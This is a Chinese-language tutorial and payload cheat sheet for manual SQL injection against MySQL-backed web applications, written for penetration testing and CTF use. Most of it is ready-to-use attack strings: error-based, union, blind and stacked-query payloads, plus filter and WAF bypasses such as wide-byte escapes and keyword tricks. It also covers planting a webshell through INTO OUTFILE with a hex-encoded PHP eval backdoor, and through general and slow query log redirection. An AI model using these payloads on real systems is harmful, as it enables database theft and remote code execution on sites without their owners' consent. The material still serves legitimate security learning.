关于SQL注入漏洞,想必大家都不陌生,这是每个渗透测试人员的必修课,SQL注入漏洞发生在数据库端,归根结底是因为数据库总是信任用户或WEB服务器的输入。对于WEB应用,如果编程人员没有对用户可控的参数进行过滤,就直接带入数据库中执行,那么就很可能存在SQL注入漏洞。对于SQL注入漏洞的介绍有很多,测试工具也很多,广泛使用的是神器sqlmap,但作为渗透测试人员,sqlmap是远远不够的,尤其是在CTF比赛中,sqlmap可以说很难检测出漏洞,至于利用,那就几乎是没可能了。因此对于SQL注入的测试,手工测试是免不了的,通过知识的积累和细致的观察,才能发现更多SQL注入漏洞。因不同数据库的测试方法略有不同,本文主要针对mysql数据库进行阐述(未特别注明的都是mysql数据库)。
漏洞示例:服务器将用户可控内容拼接到SQL语句中,再传到数据库上执行。
SQL语句:select * from tb1 where id=$_GET[‘id’]; //其中$_GET[‘id’]为用户可控的参数,那么用户就可以构造恶意的SQL语句执行,如构造1 or 1=1,最终语句将变为:
select * from tb1 where id=1 or 1=1;
or 1=1成为永真条件,将查询出tb1中所有记录。
基于输入类型
字符型注入
整数型注入
基于从服务器接收到的响应
错误回显注入
联合查询注入
盲注
时间盲注
布尔盲注
基于程度和顺序的注入(哪里发生了影响)
二阶注入
基于注入位置不同
LIMIT 参数注入
order by 参数注入
根据上述分类方法,分别介绍不同类型注入的检测和利用姿势。
字符型注入中,用户输入参数通过引号包裹(单引号/双引号)。
例如:
select * from tb1 where name=‘$_GET[’name’]’;
select * from tb1 where name=“$_GET[’name’]”;
在字符型注入中,必须将引号闭合,否则输入的内容将只能被当做字符串处理。
整数型注入中,用户输入的参数未使用引号包裹,通常出现在数字类型的参数中。
例如:
select * from tb1 where id=$_GET[‘id’];
此时要求用户传入一个数字参数id。当然,如果没有对接收的id参数进行过滤,那么我们就能传入其他字符构造SQL语句。
对于整数型注入,无需闭合引号就能构造任意SQL语句造成恶意攻击。
对于WEB应用,数据库执行SQL语句时,如果产生错误,会将错误信息返回给WEB服务器,如果程序员开启了错误信息显示,那么浏览器上就能够直接看到数据库产生的错误提示。通常,根据这些错误提示我们能够知晓关联的部分SQL语句结构,但这只是错误回显注入的开始。在数据库中,我们可以利用一些方法制造错误,并将我们想要的答案通过报错的方式显示出来。
如:select * from tb1 where id=$_GET[‘id’]; $_GET[‘id’]为用户可控的参数,此时传入1’ ,最后语句将拼接成:
select * from tb1 where id=1’; 多出的单引号导致了SQL语法错误,产生报错。
检测的SQL注入,输入单引号和双引号观察页面返回信息中是否包含SQL错误消息:
'
"
select 0/@@version
在MSSQL中,不同数据类型转换时会产生错误。
简单解释下这个漏洞的原理,rand()是伪随机数函数,rand(0)固定种子0后随机数每次会产生相同的结果【随机数范围0-1】,floor是向下取整。floor(rand(0)*2)就是会产生0或1的随机数,只不过这个随机数每次都是固定的结果,前6次结果依次为:0-1-1-0-1-1。group by用于分组,在分组的时候其实有2个动作,1.判断这个分组是否存在,不存在就插入虚拟表中。2.插入。以select count(*) from tb1 group by floor(rand(0)*2)为例子,group by 判断和插入这2个动作都会触发floor(rand(0)*2)产生随机数。所以group by 第一次进行判断时floor(rand(0)*2)产生随机数0,判断0这个分组不存在,于是需要在虚拟表中插入分组0,但这时候插入又会调用一次floor(rand(0)*2)产生随机数1,实际虚拟表中插入的是1;进行下一个排序的时候同样是判断-调用floor(rand(0)*2)产生随机数1,1这个分组之前已经插入虚拟表了,所以分组结果count计数+1;再下一个排序时判断-调用floor(rand(0)*2)产生随机数是0,0这个分组不存在,所以需要插入分组,但插入动作又会调用floor(rand(0)*2)产生随机数1,实际插入的却是1,而1这个分组已经存在了,所以报错:
如图,报错的时候,将floor(rand(0)*2*2)拼接起来,让它报错的时候一起回显过来:
如图所示,版本5.7.34和floor(rand(0)*2)的结果1被拼接起来并通过错误回显了。
#将上面讲述的直接拼接在where后面可能会导致其他错误,所以通常的利用姿势是利用or、and、||、&&、union、order by等来拼接一条嵌套查询的语句,:
or (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(想要查询的内容))x from information_schema.tables group by x )a);-- -
例如:
or (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,(@@version))x from information_schema.tables group by x )a);-- -
原理:extractvalue()用于对文档进行查询,当第二个参数中以~ 开头的话,不是xml格式语法,所以会报错。(extractvalue函数查询的最大长度为32)
#利用or、and、||、&&、union、order by等来拼接
or extractvalue('anything',concat('~',(想要查询的内容)))
例如:
or extractvalue('anything',concat('~',@@version))
updatexml和extractvalue类似,是更新xml文档的函数。语法update(目标xml文档,xml路径,更新的内容)
#利用or、and、||、&&、union、order by等来拼接
select updatexml('anything',concat('~',(想要查询的内容)),'anything')
例如:
select updatexml('anything',concat('~',@@version),'anything')
#影响5.5.5-5.x以上版本
当传递一个大于709的值时,函数exp()
就会引起一个溢出错误。
#利用or、and、||、&&、union、order by等来拼接
#得到表名:
or exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
#得到列名:
or exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
#检索数据:
or exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
#影响5.5.5-5.x以上版本
解释:~0是0按位取反,结果为最大无符号bigint值,对它进行加减就会溢出报错。
#利用or、and、||、&&、union、order by等来拼接
or !(select*from(select user())x)-~0;
or (select(!x-~0)from(select(select user())x)a)
or (select!x-~0.from(select(select user())x)a)Copy to clipboardErrorCopied
利用这种基于BIGINT溢出错误的注入手法,我们可以几乎可以使用MySQL中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:
select !atan((select*from(select user())a))-~0;
select !ceil((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
NAME_CONST函数可以制造一个列,列明重复则会报错
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
#利用or、and、||、&&、union、order by等来拼接
#但我只有version()可以正确报错出来,其他的都提示参数错误,不知道为什么
and exists(select * from (select * from(select name_const(version(),0)) a join (select name_const(version(),0)) b)c)
可直接爆破column字段名,字段名正确后会直接显示数据库和表名
#利用or、and、||、&&、union、order by等来拼接
#只要枚举出正确的字段名,就可以直接知道数据库名和表名
and polygon(正确的字段名)
可爆破column字段(注意:必须是正确的column,错误column无法返回库和表的信息)
这里主要指union和union all,联合查询需要与原查询结果拥有相同数量且结果兼容的列,mysql中数字和字母会自动转换,让我们union测试变得更简单。
如:select name,id from tb1 where id=1; 这里的参数1是用户可控的,存在sql注入,我们传入1 union select 1,2 后,整个SQL语句变为select name,id from tb1 where id=1 union select 1,2; 变成了联合查询语句。
通常,为了快速检测出原查询结果拥有多少列,可通过(order by 数字 ) 来进行排序,数字表示原查询结果的列,如果数字大于列数则查询失败。
如果order by 不可用,也可以通过union select直接测试:
union select 1,2,3,4,… 逐渐增加列的数量,直到查询正确为止。(仅当原查询结果的列和union select 的列相同时查询正确,这里的1,2,3,4均只代表一列)
和union select 相似的是union all select ,union select会将结果并集并排序,不会显示重复结果,union all 则会显示重复结果。
整数型注入:
union select 1#
union select 1,2#
union select 1,2,3#
union select 1,2,3,4#
union select 1,2,3,4,5#
union select 1,2,3,4,5,6#
union select 1,2,3,4,5,6,7#
union select 1,2,3,4,5,6,7,8#
union all select 1#
union all select 1,2#
union all select 1,2,3#
union all select 1,2,3,4#
union all select 1,2,3,4,5#
union all select 1,2,3,4,5,6#
union all select 1,2,3,4,5,6,7#
union all select 1,2,3,4,5,6,7,8#
字符型注入:
' union select 1#
' union select 1,2#
' union select 1,2,3#
' union select 1,2,3,4#
' union select 1,2,3,4,5#
' union select 1,2,3,4,5,6#
' union select 1,2,3,4,5,6,7#
' union select 1,2,3,4,5,6,7,8#
' union all select 1#
' union all select 1,2#
' union all select 1,2,3#
' union all select 1,2,3,4#
' union all select 1,2,3,4,5#
' union all select 1,2,3,4,5,6#
' union all select 1,2,3,4,5,6,7#
' union all select 1,2,3,4,5,6,7,8#
注意:原查询语句可能包含Limit等限制查询结果,所以使用union或union all查询的时候,最好屏蔽正确的执行结果。
如:select * from tb1 where id=1 limit 1 ,id参数存在sql注入漏洞,则拼接union后查询结果还是只显示1个,union查询的结果是拼接在下方的,被limit 1给屏蔽掉了。
因此最好的方法是将id的值变为一个不存在的值-1,这样最终查询到的就是我们union的结果了。
-1 union select xxx;
堆查询就是通过;分割sql语句,让我们传入的字符串变成多条SQL语句。
如select * from tb1 where id=1; 这里的参数1是用户可控的,存在sql注入,那我们就可以传入1;select @@version来分割sql语句,让它变成select * from tb1 where id=1;select @@version;这样当第一条语句执行完成后,会接着执行第二条语句select @@version;
注意:堆查询并不在所有情况下可用。
由于存粹的堆注入通常不会将第二条及以后语句的执行结果回显,所以通常会结合时间函数来产生延迟
;sleep(5)#
堆查询可以拼接执行任意的SQL语句,如果没有回显,可以利用盲注,或者将结果写入文件或数据库中。
无法直接获得数据库返回结果,但可以从页面的不同判断确实存在SQL注入,那么就可以利用SQL盲注。
对于WEB应用而言,用户提交的输入需要等待服务器和数据库执行完毕后将结果返回给用户,mysql中存在sleep(n)函数可以让数据库等待n秒,因此我们可以利用sleep()函数产生的时间延迟来判断是否存在SQL注入。
例如:select * from tb1 where id=1; 这里的参数1是用户可控的,存在sql注入,那我们就可以传入1 and sleep(2),这样拼接后整个语句变为select * from tb1 where id=1 and sleep(2); 数据库需要执行至少2秒后才会将结果返回,由此带来的时间差可以让我们判断是否存在SQL注入漏洞。
#时间盲注可以拼接在and、or、||、&&、union select需要列数一致)等后面,也可以和联合查询一起使用。
;sleep(5)#
and sleep(5)#
or sleep(5)#
注意:mysql在调用sleep()时,可能并不总是sleep指定的时间,很多时候sleep可能被多次调用。
与盲注配套的是条件判断语句,有了条件判断语句,我们能够挖掘出非常多有价值的东西。
ASCII()函数返回字符串的ASCII码。
substr()截取字符串,substr(@@version,1,1)将截取版本号的第一个字符。
if(条件,结果1,结果2) 当条件成立,返回结果1,否则返回结果2。
#时间盲注可以拼接在and、or、||、&&、union select需要列数一致)等后面,也可以和联合查询一起使用。
or sleep(if((ASCII(substr(@@version,1,1))>1),2,0)) //当@@version版本号的第一个字符的ASCII码大于1时,sleep 2秒,否则0秒。
bool,布尔值只有真和假。条件判断、比较运算等的结果就是bool值,如1=1的结果为真。另外当需要一些布尔类型的运算时,其他类型也可以直接转换为bool,可通过如下方法进行测试:
select if(0,'true','false');
select if(100,'true','false');
select if('a','true','false');
例如:select * from tb1 where id=1; 这里的参数1是用户可控的,存在sql注入,那我们就可以传入1 and 1=1,再传入1 and 1=2比较2次结果,拼接后整个语句变为:
select * from tb1 where id=1 and 1=1; #结果为真,正常显示
select * from tb1 where id=1 and 1=2; #1=2结果为假,没有显示
这里 的1=1就是比较运算,返回结果为真或假。在mysql中也可以直接写select * from tb1 where id=1 and 1; 1的结果为真。 select * from tb1 where id=1 and 0; 0的结果为假。由此产生的不同结果,可能会让页面返回不同的内容。
注意:实际测试中,查询失败可能会返回默认值或上次查询的结果,因此你可能需要使用不同的值多分析几次,才能准确判断它是否真的存在布尔盲注。
整数型:
and 321=321#
and 321=123#
字符型:
' and '321'='321'#
' and '321'='123'#
和时间盲注一样,在利用布尔盲注时也常用到条件判断、字符串截取等函数。
在测试布尔盲注漏洞时,需要先自己观察,找到条件为真或假时页面的特点,盲注通过纯手工的方式很麻烦,建议写脚本进行测试(快速写脚本的方法https://blog.csdn.net/u013797594/article/details/119392142)
整数型:
and if((ASCII(substr(@@version,1,1))>1),1,0)# 判断@@version版本号的第一个字符的ASCII是否大于1,通过二分法能够较快的找到
字符型:
' and if((ASCII(substr(@@version,1,1))>1),1,0)#
上述注入方式都属于一阶注入,可以直接注入,而二阶注入和一阶注入不同,不能直接注入。通常是第一阶段将我们传入的参数进行转义处理后写入数据库中,不存在SQL注入漏洞,但第二阶段将值从数据库中取出后又用于别的SQL语句,这时候没进行转义也可能导致SQL注入问题。
例如用户注册功能:
第一阶段:注册
这里PHP通过addslashes()函数对用户传入的参数进行转义,例如输入用户:admin’ 密码:123。那么经过转义后用户名就变为admin\’,这里不存在SQL注入,因为单引号被转义,并不能对我们的整个语句造成威胁。问题出在插入的时候,数据库又会把反斜杠去掉,重新变回admin’,所以数据库中存储的内容还是admin’,取出来的也是admin’。
第二阶段:修改密码
$sql = "select username from users where id='$_SESSIONS['id']'"; //从数据库中取用户名
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$username = mysql_fetch_array($result)['username']; }//直接从数据库取数据,\已经在插入数据库的时候被移除了,所以取出的$username=admin'
$password=addslashes($_POST['password']); //获取新的密码
$sql = "insert into users set username = '$username',password = '$password'"; //这里直接将$username=admin'带入数据库执行,所以出错了
$result = mysql_query($sql);
修改密码的时候,要根据用户名来修改,但用户名是从数据库里读取的,由于数据库中存放的是没有反斜杠的admin’,这样没有任何转义直接将这个用户名带入修改密码的SQL语句中,就变成了insert into users set username = 'adnin’’,password = ‘12345’。 admin后面出现了2个单引号,导致了SQL语法错误。
可在注册时输入’admin“,同时对单引号和双引号进行测试,如果存在二阶注入,那么其他某一项功能可能报错或者无法正常使用。
二阶注入需要根据实际环境来猜测SQL语句的结构,利用错误回显或构造SQL语句进行利用。
目标的注入点可能并不像前面一样,在where语句后面,可能在limit后面,例如页码参数,可以选择返回的页面数量等。
LIMIT 语法:LIMIT [位置偏移量,]行数
limit关键字后可用procedure analyse() 主要结合错误回显进行利用
limit 1, 1 procedure analyse(extractvalue(rand(), concat(0x3a, database())), 1);
limit关键字后还可以拼接的关键字有:into outfile 、into dumpfile可以将结果写入文件
select * from tb1 where name='asd' limit 1 into outfile "test.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b276c786b275d293b3f3e;
示例:
一个表格,可以根据不同的列进行排序,每次排序都从数据库取值,用户可控参数在order by后面:
select * from tb1 where id=1 order by $_GET[‘id’];
此时已经也不能其他注入一样测试。
desc# //降序
asc# //升序【默认值】
if(1,sleep(1),1)
rand(1)
rand(0)
1.通过条件判断和时间延迟进行盲注,注意sleep会根据查询结果执行多次,可能产生很高延迟。
select * from tb1 where id=1 order by if(条件,sleep(1),1);
2.当知道排序条件,可利用条件判断进行盲注
select * from tb1 where name='asd' order by if(条件,name,id);
3.利用rand进行条件判断
select * from tb1 where name='asd' order by rand(if(条件,1,0))
4.利用错误产生不同结果
select * from tb1 where name='asd' order by IF(1=2,1,(select 1 union select 2))//执行错误语句
select * from tb1 where name='asd' order by IF(1=1,1,(select 1 union select 2))
5.利用错误回显,方法和前面讲得错误回显注入一样。
order by 关键字后还可以拼接的关键字有:into outfile 、into dumpfile可以将结果写入文件
示例:
select * from tb1 order by 1 into outfile "test.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b276c786b275d293b3f3e
参考连接https://www.cnblogs.com/wangtanzhi/p/12590172.html
下面总结发现SQL注入漏洞后常用来利用的命令。
user()
show grants for user_name; – 显示一个用户的权限,显示结果类似于grant 命令。
show databases;
database();
select schema_name from information_schema.schemata
1.show命令查询,通常只能用在堆查询注入中。
show tables;
show tables from database_name;
2.从information_schema.tables中查询
select table_name from information_schema.tables where table_schema='xxxxx' // 查询xxx数据库中所有表名
#查询当前数据库并查询数据库中有哪些表:一步到位
select GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database();
1.desc查询。只能用于堆查询注入
use test;desc 表名;
2.show命令查询:通常也只能用在堆查询注入中,从database_name数据库中查询明文table_name的表结构:
show columns from table_name from database_name;
或show columns from database_name.table_name;
3.从information_schema.columns中查询
Select GROUP_CONCAT(column_name) from information_schema.columns where table_name='xxxxx'; #查询xxxx表中的列名。
# 列出所有数据库的所有表的所有列
SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema' ;
#注意:字母表名不加引号。正常表名不能是纯数字,当题目中表名为纯数字的时候,加`反引号,如:
show columns from 表名 from 数据库;
show columns from `123` from 数据库;
Select 列名 from 表名
@@datadir
version();
@@version;
@@version_compile_os
select load_file()可读取文件。
select load_file(‘文件绝对路径/相对路径’);
1.root用户权
2.对目录和文件具有读权限
3.GPC关闭(能使用单引号)
4.没有配置 secure-file-priv (show variables like ‘%secure%’; 查看secure-file-priv配置 或者SHOW VARIABLES LIKE “secure_file_priv”; 或者select @@secure_file_priv 查看,仅能通过修改mysql配置文件并重启mysql才能修改该参数)。
secure-file-priv用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()等函数只能访问指定目录。
注意:
1.windows路径使用\\ ,\会被当作转义符号。
2.windows盘符根路径下可用c:xxx。
3.字符串可用0x16进制代替。
4.可用字符串拼接char(路径ascii)。
读取文件可以是相对路径,但当前目录是:@@datadir 的位置,可select @@datadir查看
select xxx into outfile ‘文件相对路径/绝对路径’;
1.root用户权
2.对web目录具有写权限【主要是写到网站目录里】
3.GPC关闭(能使用单引号)
4.没有配置 --secure-file-priv (show variables like ‘%secure%’; 查看secure-file-priv配置 或者SHOW VARIABLES LIKE “secure_file_priv”; 或者select @@secure_file_priv 查看,仅能通过修改mysql配置文件并重启mysql才能修改该参数)
secure-file-priv用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()等函数只能访问指定目录。
当前目录是:@@datadir 的位置,可select @@datadir查看
select xxx Into outfile “相对路径/绝对路径” LINES TERMINATED BY ‘要写入的内容’
LINES TERMINATED BY相当于换行,就是用我们的内容替换了原本的换行,永远记住字符串可以用十六进制标识。
目前sqlmap就采用这种方式写入shell
select 0x16进制 Into outfile 0x16进制 LINES TERMINATED BY 0x16进制;
通用查询日志(general_log)主要用于查询各client连接数据库时的相关信息与在数据库上执行的SQL语句
1.root用户权
2.对目录拥有写权限【主要是写到网站目录里】
3.堆查询注入
执行的 SQL 语句的内容都会写到 general log 的日志文件中,换句话说,只要开启 general log,并且执行一条内容包含 的语句,就能把这个一句话木马写入到指定文件,且不受
secure-file-priv
的限制。
通过执行以下 SQL 语句(需要 SUPER 权限)打开 general log 功能并且指定 general log 日志文件路径:(需要配合;多语句执行)
#步骤1,检查general_log开启情况。
show variables like '%general_log%'; //检查日志开启状况
#步骤2,开启general_log,修改Log保存路径。;
SET GLOBAL general_log=on;SET GLOBAL general_log_file='文件相对路径/绝对路径';
#步骤3,在SQL注入点输入php的一句话木马。SELECT '要写入的文件内容';
联合起来示例:
set global general_log='ON';set global general_log_file='/var/www/html/web00/phpinfo.php';select '';set global general_log='OFF';
此时一句话木马被我们写入了指定的文件中。
慢查询日志记录了SQL语句时间超过了预设的long_query_time的语句
1.root用户权
2.对目录拥有写权限【主要是写到网站目录里】
3.堆查询注入
#步骤1.查看日志开启情况
show variables like '%slow%';
#步骤2.设置slow_query_log=1.即启用慢查询日志(默认禁用)
set global slow_query_log=on;
#步骤3.伪造(修改)slow_query_log_file日志文件的路径以及文件名
set global slow_query_log_file='文件相对路径/绝对路径'; //相对路径的当前路径为@@datadir
#步骤4.向日志文件写入shell
select '' or sleep(10); //要保证sleep时间超绕过@@long_query_time的时间,默认10秒。
#步骤5.关闭慢查询:
set global slow_query_log=0;
联合起来示例://这里相对路径会向@@datadir写入xxxx.php
set global slow_query_log=on;set global slow_query_log_file='xxxx.php';select '' or sleep(10);set global slow_query_log=0;
当程序通过mysql_real_escape_string()、addslashes()、GPC等方式对用户输入的参数进行了转义后,还可以通过下述方式进行绕过:
mysql_real_escape_string()和addslashes()是PHP的转义函数。
GPC是PHP magic_quotes_gpc:魔术引号,可在配置文件php.ini中开启,开启后功能相当于对所有浏览器传来的数据进行addslashes()。
#mysql_real_escape_string()对如下进行过滤:
\x00
\n
\r
\
'
"
\x1a
#addslashes()对如下进行过滤:
单引号(')双引号(")反斜杠(\)\x00GPC对如下进行过滤:单引号(')双引号(")反斜杠(\)\x0
下列方法可绕过转义函数:
GBK编码属于宽字节编码,为了和ASCII兼容,GBK编码和ASCII保留了一样的编码范围:00-7F,属于这个编码范围则被认为是ASCII字符,而汉字首字节范围81-FE,输入这个编码范围将被视为汉字,会将2个字节解析为一个汉字。字符在计算机中都会被转为ASCII码,单引号‘的ASCII编码是:%27,单引号经过转义函数转义后会添加反斜杠成为\’,此时的ASCII编码是:%5C%27。如果在单引号前面添加一个%df,变成%df’,那么经过转义后就变成%df\’,ASCII编码是:%df%5c%27,%df%5c在GBK中属于汉字编码范围,会被解析为汉字“運”,而剩下的%27也就是单引号却逃逸了出来,双引号同理。
例如:
select * from tb1 where name=‘$_GET[‘id’]’;
用户输入admin’,由于存在转义,正常输入单引号会被转义成admin\’,只是一个普通字符,不能在SQL语句中闭合其他单引号:
select * from tb1 where name=‘admin\’‘;
但如果存在宽字节注入,那么输入admin%df’ ,转义后变为admin%df\’,换成ASCII码也就是admin%df%5c%27,在数据库中最终会被解析为:
select * from tb1 where name=‘admin運’; 单引号被成功闭合了。
%df'%df"
mysql_real_escape_string()、addslashes()、GPC等主要针对特殊字符进行过滤,但如果是整数型注入,那么就根本不受影响。
例如:
select * from tb1 where id=$_GET[‘id’]; #id参数存在SQL注入,用户可传入 1 or 1=1 、 -1 union select 1,2等等,拼接后的语句是:
select * from tb1 where id=1 or 1=1; // or 逻辑运算符,id=1 or 1=1的结果为永真,能够匹配数据表中所有的行,因此查询出所有数据。
select * from tb1 where id=-1 union select 1,2;
这样其实根本就没有受到影响。
和普通的整数型注入一样
程序员可能在编码时使用了BASE64、URL解码等来处理用户输入的内容,但确实在解码前对参数进行的过滤,逻辑上完全没有起到作用。
对输入内容进行BASE64、URL编码等,视具体代码情况来定。
为了防止SQL注入,程序员可能会采用mysql_real_escape_string()、addslashes()、GPC等对特殊字符进行转义,也可能直接过滤掉特殊字符。
当空格被过滤后,可通过以下方法绕过:
mysql中可用注释来代替空格:
select * from tb1 where name='asd';
等价:
select/**/*/**/from/**/tb1/**/where/**/name='asd';
mysql中可用()来代替空格。可以用括号包裹非数据库关键字
select name from tb1 where name ='asd';
等价:
select(name)from(tb1)where(name)=('asd');
mysql中可用单引号或双引号来代替空格。
被引号包裹的字符串,只能和数据库关键字接在一起。
select name from tb1 where name ='asd' and 1=1;
等价:
select name from tb1 where name ='asd'and'1'='1';
/*![数据库版本]*/,和注释/* */的区别是多了一个感叹号,可选的数据库版本号。
这种注释在mysql中叫做内联注释,当实际的版本等于或是高于写入的[数据库版本],应用程序就会将注释内容解释为SQL命令,否则就会当做注释来处理。默认情况下,不添加数据库版本也会当做SQL命令来执行。
内联注释可以用来包裹数据库关键字和非关键字。
select * from tb1 where id=1;
等价
/*!select */ * /*!from*//*!tb1*//*!where*//*!id*//*!=*//*!1*/;
如下特殊字符可代替空格:
%09 水平定位符号%0a 换行符%0c 换页符%0d 回车%0b 垂直定位符号
select * from tb1 where name='asd';
等价
select * from tb1 where name=0x617364;
可通过char()函数将ASCII十进制数转换为字符串。
如字符串‘asd’ 等于:
char(97,115,100)
在使用mid,substr,substring函数的时候,如果逗号被过滤,可以通过from x for y代替。
select mid(user(),1,2); #从第一个字符开始截取2个
select mid(user(),1); #截取全部
select mid(user(),-1); #截取最后一个字符等价
select mid(user() from 1 for 2); #从第一个字符开始截取2个
select mid(user() from 1); #截取全部
select mid(user() from -1); #截取最后一个字符substr和substring同理。
测试中通常需要通过注释符屏蔽后面的语句,否则容易报错,但注释符被过滤了。
例如:select * from tb1 where id=$_GET[‘id’] limit 1; //limit1是我们想要屏蔽的语句。
1.通过;结束语句,如果系统不支持堆查询注入,那么后面语句不会执行,或者执行了也能屏蔽错误。
select * from tb1 where id=1; limit 1;
2.整数型注入不受影响
select * from tb1 where id=1 or 1=1 limit 1;
3.字符型注入,传入的参数前后被加上了引号,select * from tb1 where id='$_GET['id']' limit 1;
这时候可以传入1' or '1'='1 ,再拼接上引号后就能完整。
select * from tb1 where id='1' or '1'='1' limit 1;
WAF和服务器可能使用不同的架构,或者服务端使用双层架构,他们获取HTTP参数的方式不一样,对于2个同名参数,可能获取第一个,也可能获取第二个,所以重写参数有时能绕过WAF过滤。
http://www.test.com/?id=1&id=1 or 1=1
交换参数位置:
http://www.test.com/?id=1 or 1=1&id=1
在很多时候,当关键字被过滤后,可通过与其等价的其他关键字来绕过。
select * from tb1 where id=1 and 1=1
此时和and等价关键字有:
like
rlike
regexp
&
&&
1=1的结果是bool真,在数据库中就是1。
1 like 1 like可跟通配符。
1 rlike 1 rlike可跟正则表达式。
1 regexp 1 regexp可跟正则表达式。
1 && 1 逻辑与
1 & 1 按位与,任意数&0的值为0
结果都是1。
select * from tb1 where id=1 or 1=1;
此处等价or的关键字有:
|| 逻辑或
| 按位或
任意数|0的值为任意数。
由于注释点通常是在where语句中,后面可能会有其他的语句,为了让语句完整不报错,可以将后面的语句屏蔽。
例如:
select * from tb1 where id=$_GET[‘id’] limit 1;
//如果支持堆查询,那么limit会被执行。通过注释屏蔽后,limit 1不会被执行
select * from tb1 where id=1; limit 1;
select * from tb1 where id=1# limit 1;
select * from tb1 where id=1;-- - limit 1;
select * from tb1 where id=1/* limit 1;
mysql中可用
BENCHMARK(50000000,MD5(‘A’))产生延迟,执行MD5()50000000次,产生的延迟时间和服务器性能有关。
select sleep(5)select
BENCHMARK(50000000,MD5('A'))
if
IF(expr,v1,v2) :根据表expr结果为真则返回V1,否则返回V2。
case when
方式1:
CASE expr WHEN v1 THEN r1 [WHEN v2 THEN r2] … [WHEN vn THEN rn] … [ELSE r(n+1)] END
expr表达式的结果,可以通过when来匹配,满足则返回对应then的结果。
方式2:
CASE WHEN v1 THEN r1 [WHEN v2 THEN r2] … [WHEN vn THEN rn] … ELSE r(n+1)] END
这里v1、v2…也可以直接写表达式,如果满足则返回对应then的内容。
表达式
strcmp
STRCMP(str1,str2):比较2个字符串是否相等,如果相等结果为0,否则为1。
ifnull
IFNULL(expr,str) 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个表达式的值。
select if(ascii(substr(@@version,1,1))>1,1,0) 判断@@version的的第一个字符的ASCII值
等价:
select case if(ascii(substr(@@version,1,1))>1,1,0) when 1 then 'yes' end
等价:
select case when ascii(substr(@@version,1,1))>1 then 'yes' else 'no' end
等价:
select strcmp(ascii(substr(@@version,1,1))>1,1) //2边结果相等,结果为0
等价:
select ifnull(@@version,0) //会直接返回@@version的值
concat(str1,str2,…) //没有分隔符得连接字符串,
concat_ws(separator,str1,str2,…) //含有分隔符得连接字符串
group_concat(str1,str2,…) //连接一个组的所有字符串,并以逗号分割每条数据
当从数据表中查询结果时,只有group_concat会将结果组合成一个字符串,因此它是最常用的:
mid(string,start,length)
MID(string,1,1), //从string第一个字符开始提取1个。
substr(string,start,length)
substr(string,1,1) //从string第一个字符开始提取1个。
substring(string,start,length)
substring(string,1,1) //从string第一个字符开始提取1个。
left(string,length)
left(string,1) //从string左侧开始提取1个字符。
right(string,length)
right(string,1) //从string右侧开始提取1个字符。
ORD(str) //如果字符串str的最左边的字符是一个多字节字符返回该字符,如果最左边的字符不是一个多字节字符,ORD()返回相同的值如ASCII()函数
ASCII(str) //返回字符串str的最左字符的ASCII数值
有些过滤方法是讲关键字进行过滤,此时可以双写关键字进行绕过。
如selselectect,当其中的select被过滤后,剩下的还是select。
某些程序在正则匹配的时候,没有忽略大小写,导致可以通过大小写绕过正则匹配。
;use 数据库名;set @sql=concat(‘s’,‘elect * from 表名’);PREPARE stmt1 FROM @sql;EXECUTE stmt1;# //这可以用于了堆查询注入,能够拼接关键字。